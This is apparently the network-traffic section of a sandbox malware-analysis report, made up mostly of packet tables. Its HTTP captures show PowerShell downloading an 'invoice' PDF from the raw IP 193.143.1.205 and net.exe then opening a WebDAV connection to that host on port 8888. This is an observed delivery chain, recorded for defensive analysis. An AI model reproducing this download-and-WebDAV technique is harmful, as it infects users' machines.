Jan 10, 2025 17:13:08.141645908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141650915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.141659021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141669989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141690016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.141701937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.141746998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141758919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141771078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141782999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141803980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141804934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.141828060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.141834021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141844988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141871929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.141947985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141958952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141973972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141983986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.141994953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142000914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142008066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142019987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142043114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142055988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142076969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142240047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142251968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142262936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142276049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142287970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142292976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142303944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142313957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142314911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142326117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142340899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142353058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142354012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142366886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142379045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142390013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142407894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142432928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142457962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142467976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142482996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142491102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142514944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142527103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142528057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142539024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142550945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142590046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142705917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142718077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142728090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142740011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142755985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142760038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142776012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142781019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142788887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142801046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142812967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142821074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142824888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142838001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142847061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142848969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142858982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.142872095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.142903090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143024921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143042088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143059015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143069983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143074989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143081903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143091917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143100023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143111944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143125057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143126011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143162966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143183947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143197060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143210888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143229961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143237114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143240929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143253088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143263102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143268108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143275976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143280029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143292904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143304110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143306017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143318892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143323898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143332005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143337965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143346071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143357992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143384933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143549919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143605947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143616915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143629074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143640995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143675089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143676996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143688917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143699884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143709898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143722057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.143739939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.143748999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.182589054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182658911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.182662964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182681084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182699919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182709932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182719946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.182722092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182734966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182745934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182751894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.182766914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182779074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182790995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182801962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.182802916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182818890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182831049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.182848930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.182869911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.196701050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.196718931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.196723938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.196734905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.196747065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.196758986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.196767092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.196774006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.196803093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.196851969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.231529951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.231547117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.231559992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.231585979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.231606007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.231623888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.231648922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.253539085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.258644104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258666992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258680105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258692026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258692026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.258702993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258714914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258727074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258733034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.258738041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258750916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258763075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258774042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258785009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258794069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.258796930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258810043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258821011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258831978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.258835077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:08.258841038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.258863926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.302758932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.485228062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:08.640160084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:09.091995955 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:09.096797943 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:09.097328901 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:09.097706079 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:09.102447033 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:09.892283916 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:13:09.943634987 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:10.542002916 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:13:19.244010925 CET	55060	53	192.168.2.5	1.1.1.1
Jan 10, 2025 17:13:19.248960018 CET	53	55060	1.1.1.1	192.168.2.5
Jan 10, 2025 17:13:19.249041080 CET	55060	53	192.168.2.5	1.1.1.1
Jan 10, 2025 17:13:19.254038095 CET	53	55060	1.1.1.1	192.168.2.5
Jan 10, 2025 17:13:19.733716965 CET	55060	53	192.168.2.5	1.1.1.1
Jan 10, 2025 17:13:19.738625050 CET	53	55060	1.1.1.1	192.168.2.5
Jan 10, 2025 17:13:19.738678932 CET	55060	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:13:19.243555069 CET	53	56441	1.1.1.1	192.168.2.5
Jan 10, 2025 17:13:22.081867933 CET	60705	53	192.168.2.5	1.1.1.1
Jan 10, 2025 17:13:35.645726919 CET	59117	53	192.168.2.5	1.1.1.1
Jan 10, 2025 17:13:47.927845001 CET	63257	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:13:22.081867933 CET	192.168.2.5	1.1.1.1	0xb67	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:35.645726919 CET	192.168.2.5	1.1.1.1	0x7155	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:47.927845001 CET	192.168.2.5	1.1.1.1	0x8da2	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 17:13:22.089123011 CET	1.1.1.1	192.168.2.5	0xb67	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:13:35.653039932 CET	1.1.1.1	192.168.2.5	0x7155	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:13:47.934570074 CET	1.1.1.1	192.168.2.5	0x8da2	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5512	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:13:06.638933897 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:13:07.461693048 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:13:07 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 10, 2025 17:13:07.461720943 CET	1236	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:13:07.461734056 CET	448	IN	Data Raw: 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 1e Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:13:07.461755991 CET	1223	IN	Data Raw: ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d 9a Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 17:13:07.461769104 CET	1236	IN	Data Raw: 32 30 30 30 0d 0a fd f9 d9 43 da 94 cb b1 a1 3b 69 ea 9b 13 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce Data Ascii: 2000C;i4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 17:13:07.461781979 CET	1236	IN	Data Raw: 6d 0c bd 7c bc 0e 63 e8 23 31 74 2a 53 df 9c 00 00 00 a6 c1 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf Data Ascii: m\|c#1t*SKvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs
Jan 10, 2025 17:13:07.461790085 CET	448	IN	Data Raw: 81 69 5f cd 4a ab bc 8e e5 d7 6e 95 df b4 70 a7 1d 7d 51 c2 df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 Data Ascii: i_Jnp}QqZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12C
Jan 10, 2025 17:13:07.461796045 CET	1236	IN	Data Raw: 3c 30 f4 21 1d 18 fa 74 7b db e4 c8 f6 c0 d0 26 86 9e 9f b5 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f Data Ascii: <0!t{&1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 10, 2025 17:13:07.461807966 CET	1236	IN	Data Raw: 83 a3 34 20 13 6d 73 95 4a 27 aa b0 f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 Data Ascii: 4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)k
Jan 10, 2025 17:13:07.461822987 CET	1236	IN	Data Raw: 00 60 1a 7c b1 04 00 db e1 6f ad 3e 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 Data Ascii: `\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wc
Jan 10, 2025 17:13:07.466619968 CET	672	IN	Data Raw: 29 49 54 32 68 4d 09 d5 19 d4 cc eb f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 Data Ascii: )IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6444	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:13:09.097706079 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
